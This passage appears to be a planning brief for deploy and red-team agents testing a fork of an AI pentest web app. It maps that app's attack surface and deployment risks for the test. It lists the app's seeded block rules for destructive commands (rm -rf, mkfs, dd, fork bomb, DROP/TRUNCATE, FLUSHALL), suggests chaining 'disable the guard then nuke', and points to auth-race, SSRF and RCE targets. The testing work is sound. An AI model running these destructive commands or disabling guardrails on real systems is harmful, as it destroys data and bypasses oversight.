10. **SSE endpoints** (`/api/logs/stream`, `/api/exploration/activity/stream`, `/api/update/stream`) accept `?token=` — long-lived connections, and the update stream can be used to observe a binary swap.
11. **Self-update supply chain.** `/api/update/apply` downloads a GitHub release zip, checks it against `SHA256SUMS` from the same release, runs `-h` as a smoke test, then swaps. No signature verification beyond the same-origin checksum file.
12. **Destructive built-in intercept rules** seeded into the DB: `rm -rf`, `mkfs`, `dd of=/dev/*`, fork bomb, `shutdown/reboot`, `kill -9 -1`, `iptables -F`, `DROP/TRUNCATE`, Redis `FLUSHALL`, any `curl -X DELETE`, and any `/delete|/remove|/unlink|/erase|/destroy` path. These are the app's own guardrails and are user-editable — a good place to look for a "disable the guard then nuke" chain.

## Risks and unknowns

- **`$PORT` is not honoured.** `-addr` defaults to `:8787` and nothing reads `PORT`. The deploy agent must pass `-addr :$PORT` (or map ports). Getting this wrong yields a container that boots fine but is unreachable.
- **Postgres is a hard dependency with no fallback.** If the sandbox has no Postgres, the process exits at `NewManager` with `未找到数据库配置` / `ping postgres`. The app will try to `CREATE DATABASE` on the maintenance DB — the role needs `CREATEDB` or the DB must be pre-created.
- **The repo `Dockerfile` is not self-sufficient** (needs `dist/<arch>/artex`). `docker compose up` pulls upstream's `autumn27/artex:latest`, which may not match this fork's source. Prefer the multi-stage build.
- **`-tags embedui` is required** or the SPA 404s and only `/api/*` works — easy to mistake for a broken deploy.
- **First-run auth race.** `/api/auth/init` is unauthenticated and first-writer-wins. If the sandbox is exposed before setup, anyone can claim the admin password. The deploy agent should call `/api/auth/init` (or `/api/auth/login` with a known password) as part of bring-up, and the red-team agent needs a token for ~all of the surface.
- **No LLM key ⇒ engine idle.** Without `ANTHROPIC_API_KEY`/`OPENAI_API_KEY` (or a UI-configured profile), tasks never run and the chat returns 503 `LLM 未就绪`. A fake key makes the app boot but every LLM call fails — useful for testing error paths, misleading for testing agent behaviour. Consider a cheap real key or a local OpenAI-compatible stub via `ARTEX_LLM_BASE_URL`.
- **The app is itself a pentest tool that attacks the internet.** A task pointed at a real domain will make the container do DNS + HTTP + nmap against it. In a sandbox this means outbound network is required for anything beyond the UI. Also, the seeded asset blocklist skips `.gov/.edu` domains.
- **`npx @playwright/mcp` spawns on demand** and downloads nothing at runtime only if the image pre-installed it; otherwise first use is slow and may fail offline.
- **Self-update can restart the process mid-assessment.** `/api/update/apply` exits with code 75 and `start.sh` relaunches — the red-team agent may see a transient outage. Version is `dev` for source builds, which **disables** one-click update entirely.
- **Huge route surface (~200 handlers) and a 148 KB `server.go`.** Coverage will be shallow; prioritise auth bypass, workspace/skill path handling, SSRF via LLM/MCP/notify URLs, and the custom-tool RCE path.
- **`?token=` query-param auth** means tokens appear in access logs and `Referer` headers — check for token leakage and whether the CORS policy lets a third-party origin replay it.
- **`modernc.org/sqlite` is still a dependency** but the code is Postgres-only; don't be misled into provisioning SQLite.
- **`docs/` is gitignored** in this fork, so design docs referenced from code comments are absent — some intent must be inferred from comments alone.
- **`go 1.26.3`** is a very new toolchain; a `golang:1.26` image is required (older images will refuse or auto-download the toolchain).
